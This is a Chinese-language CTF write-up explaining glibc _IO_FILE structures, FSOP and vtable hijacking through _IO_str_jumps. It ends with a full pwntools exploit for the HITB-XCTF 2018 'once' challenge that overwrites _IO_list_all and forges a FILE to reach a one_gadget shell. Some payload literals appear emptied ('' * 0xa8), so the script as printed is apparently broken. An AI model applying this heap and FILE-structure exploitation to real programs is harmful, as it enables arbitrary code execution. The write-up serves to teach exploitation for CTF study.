通过一道pwn题探究_IO_FILE结构攻击利用

 

前言

前一段时间学了IO-file的知识,发现在CTF中IO_file也是一个常考的知识点,这里我就来总结一下IO_file的知识点,顺便可以做一波笔记。首先讲一下IO_file的结构体,然后其利用的方法,最后通过一道HITB-XCTF 2018 GSEC once的题目来加深对IO_file的理解。

 

libc2.23 版本的IO_file利用

这是一种控制流劫持技术,攻击者可以利用程序中的漏洞覆盖file指针指向能够控制的区域,从而改写结构体中重要的数据,或者覆盖vtable来控制程序执行流。

IO_file结构体

在ctf中调用setvbuf(),stdin、stdout、stderr结构体一般位于libc数据段,其他大多数的FILE 结构体保存在堆上,其定义如下代码:

struct _IO_FILE {
  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;    /* Current read pointer */
  char* _IO_read_end;    /* End of get area. */
  char* _IO_read_base;    /* Start of putback+get area. */
  char* _IO_write_base;    /* Start of put area. */
  char* _IO_write_ptr;    /* Current put pointer. */
  char* _IO_write_end;    /* End of put area. */
  char* _IO_buf_base;    /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

FILE结构体会通过struct _IO_FILE *_chain链接成一个链表,64位程序下其偏移为0x60,链表头部用_IO_list_all指针表示。如下图所示

IO_file结构体外面还被一个IO_FILE_plus结构体包裹着,其定义如下

struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}

其中包含了一个重要的虚表*vtable,它是IO_jump_t 类型的指针,偏移是0xd8,保存了一些重要的函数指针,我们一般就是改这里的指针来控制程序执行流。其定义如下

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

利用方法(FSOP)

这是利用程序中的漏洞(如unsorted bin attack)来覆盖_IO_list_all(全局变量)来使链表指向一个我们能够控制的区域,从而改写虚表*vtable。通过调用 _IO_flush_all_lockp()函数来触发,,该函数会在下面三种情况下被调用:

1:当 libc 执行 abort 流程时。

2:当执行 exit 函数时。当执行流从 main 函数返回时

3:当执行流从 main 函数返回时

当 glibc 检测到内存错误时,会依次调用这样的函数路径:malloc_printerr ->

libc_message->__GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW

要让正常控制执行流,还需要伪造一些数据,我们看下代码

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)   
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)

这时我们伪造 fp->_mode = 0, fp->_IO_write_ptr > fp->_IO_write_base就可以通过验证

 

新版本下的利用

新版本(libc2.24以上)的防御机制会检查vtable的合法性,不能再像之前那样改vatable为堆地址,但是_IO_str_jumps是一个符合条件的 vtable,改 vtable为 _IO_str_jumps即可绕过检查。其定义如下

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_str_finish),
  JUMP_INIT(overflow, _IO_str_overflow),
  JUMP_INIT(underflow, _IO_str_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_str_pbackfail),
  JUMP_INIT(xsputn, _IO_default_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_str_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_default_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

其中 IO_str_overflow 函数会调用 FILE+0xe0处的地址。这时只要我们将虚表覆盖为 IO_str_jumps将偏移0xe0处设置为one_gadget即可。

还有一种就是利用io_finish函数,同上面的类似, io_finish会以 IO_buf_base处的值为参数跳转至 FILE+0xe8处的地址。执行 fclose( fp)时会调用此函数,但是大多数情况下可能不会有 fclose(fp),这时我们还是可以利用异常来调用 io_finish,异常时调用 IO_OVERFLOW

是根据IO_str_overflow在虚表中的偏移找到的, 我们可以设置vtable为IO_str_jumps-0x8异常时会调用io_finish函数。

 

具体题目(HITB-XCTF 2018 GSEC once)

1、先简单运行一下程序,查看保护

主要开启了CANARY和NX保护,不能改写GOT表

2、ida打开,反编译

这里当输入一个不合法的选项时,就会输出puts的地址,用于泄露libc的基地址。

第一个函数是创建一个chunk保存数据

第二个函数和第三个函数只能执行一次,有个任意地址写漏洞,这时我们可以利用第二个函数改写off_202038+3d为_IO_list_all-0x10,然后分别执行第三和第一个函数,最后_IO_list_all就会指向0x555555757040的位置

第四个函数主要是对堆块的操作,我们可以利用利用这个函数伪造一个_IO_FILE结构

3、具体过程

1、泄露libc,输入一个“6”即可得到puts函数的地址,然后酸算出libc基地址

p.recvuntil('>')
p.sendline('6')
p.recvuntil('Invalid choicen')
ioputadd=int(p.recvuntil('>',drop=True),16)
print hex(ioputadd)
libcbase=ioputadd-libc.symbols['_IO_puts']
print hex(libcbase)
one=libcbase+0x4526a

2、利用任意地址写改写_IO_list_all为堆的地址

p.sendline('1')

p.recvuntil('>')
p.sendline('2')
ioall=libcbase+libc.symbols['_IO_list_all']-0x10
print hex(ioall)
payload=p64(ioall)*4
p.sendline(payload)
p.recvuntil('>')
p.sendline('3')
p.recvuntil('>')
p.sendline('1')

3、这时只要我们再利用第四个函数伪造__IO_FILE结构体,改写vtable为_IO_str_jumps,file+0xe0设置

为one_gadget

p.sendline('4')
p.sendline('1')
p.recvuntil('input size:n')
p.sendline('256')

jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0  #_IO_str_jumps
p.recvuntil('>')
p.sendline('2')
payload=''*0xa8+p64(jump)+p64(one)
payload+=''*(0x100-len(payload))
p.sendline(payload)
p.recvuntil('>')
p.sendline('4')

4、输入“5”,执行exit()函数触发one_gadget

p.recvuntil('>')
p.sendline('5')

p.interactive()

 

小结

这个是我个人总结出来的IO_file结构的一些知识点,写得还不够全,如有写得不对的地方,欢迎大牛指正。

 

完整EXP

from pwn import*
#context.log_level=True
p=process('./once')
elf=ELF('once')
libc=ELF('libc6_2.23-0ubuntu10_amd64.so')
p.recvuntil('>')
p.sendline('6')
p.recvuntil('Invalid choicen')
ioputadd=int(p.recvuntil('>',drop=True),16)
print hex(ioputadd)
libcbase=ioputadd-libc.symbols['_IO_puts']
print hex(libcbase)
one=libcbase+0x4526a

p.sendline('1')

p.recvuntil('>')
p.sendline('2')
ioall=libcbase+libc.symbols['_IO_list_all']-0x10
print hex(ioall)
payload=p64(ioall)*4


p.sendline(payload)
p.recvuntil('>')
p.sendline('3')


p.recvuntil('>')
#
p.sendline('1')
p.recvuntil('>')

p.sendline('4')
p.sendline('1')
p.recvuntil('input size:n')
p.sendline('256')

jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps
p.recvuntil('>')
p.sendline('2')
payload=''*0xa8+p64(jump)+p64(one)
payload+=''*(0x100-len(payload))
p.sendline(payload)
#gdb.attach(p)
p.recvuntil('>')
p.sendline('4')



raw_input()

p.recvuntil('>')
p.sendline('5')

p.interactive()
(完)